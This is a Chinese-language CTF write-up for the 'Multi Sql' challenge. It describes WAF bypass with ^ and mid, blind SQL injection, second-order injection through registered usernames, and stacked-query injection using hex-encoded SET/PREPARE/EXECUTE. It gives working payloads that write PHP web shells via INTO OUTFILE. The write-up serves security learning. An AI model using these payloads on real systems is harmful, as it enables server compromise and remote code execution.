前言

比赛已经过去了一个多月了,由于一直忙于期末复习,现在才有时间好好整理一下题目的知识点。suctf 是我们大一的萌新们继强网杯之后集体参与的第二场线上赛,依靠学长们的超强实力,我们最后荣获第二名,而我依然只能划划水,但是比起之前的毫无头绪,这一次起码可以有一点点思路了。那么接下来说一下这道题目吧。

Multi Sql

拿过来看一下题目大致结构,是一个只有用户注册、登陆、信息查看、头像上传 四个功能的简单平台。那么很容易想到这四个功能可能对应的漏洞——sql注入,文件上传。结合题目的名字基本可以判断是sql注入了。

首先测试登陆处有没有万能密码,发现并不行。然后尝试注册的时候在用户名后面加单引号,登陆的时候发现也没什么问题。(这里是因为自己粗心没有好好观察了)

随即发现查询用户信息的地方存在注入点:

http://localhost:8888/user/user.php?id=26

数字型注入,waf过滤很严格,and/or/|/&/union/select 都被过滤了,不过可以用 ^ 和 mid 进行注入。

在github 上找到这个题目框架的字段名

然后盲注跑出了admin帐号的密码是admin123,结果登陆上去发现并没有啥用。

后来官方放出hint,说还是要getshell的,于是我就傻乎乎的去尝试文件上传了,彻底走歪。

后来可乐学长发现存在二次注入,位置如下:

if (!isset($SESSION['user_id'])) {
		$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'{$_SESSION['user_name']}'";//二次注入的位置
		$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
		$result = mysqli_fetch_array($data);
		$_SESSION['user_id'] = $result['DWVS_user_id'];
	}

再加上发现 into 、outfile 没有被过滤,于是可以写shell。用来储存头像的地方有写文件的权限。于是这样进行构造:

首先注册个用户名为<?=$_POST[c];?>的用户。

再注册个用户名为<?=$_POST[c];?>‘into outfile’/var/www/html/favicon/c.php 的用户

登陆后会查询这个用户的信息,于是就执行了

select* from users where username = '<?=`$_POST[c]`;?>'into outfile'/var/www/html/favicon/c1.php'

成功写入一个shell。flag就在根目录下。

后来才知道这个是个非预期的做法。在官方放出的docker里面也是把这个非预期修复了。

下面学习一下正解。

前面的流程都是一样的,然后读文件,发现 user.php 中使用的是 mysqli_multi_query 函数,这个函数是可以执行多语句的。那么就可以利用 set + hex 编码的方式绕过 waf 了。

set @num=0x73656C656374207573657228293B;prepare sql from @num;execute sql;

执行结果:

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)
Statement prepared

+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

解释一下:

​ 先使用 set 定义一个 用户变量 用户变量的生命周期会持续到连接中断,这就保证了我们可以在其他语句中使用这个变量的值。然后我们需要把这个值,作为 mysql 语句执行,那么就需要一个类似于 eval() 的东西。而在mysql 中,需要通过预处理语句实现。

 prepare sql from @num;		#预定义一个语句
 execute sql;				#执行这个语句

于是我们只需要把

select '<?php eval(c) ?>' into outfile '/var/www/html/favicon';

用 hex 处理一下,然后按照上面的方法注入,就可以写入一个 shell 了。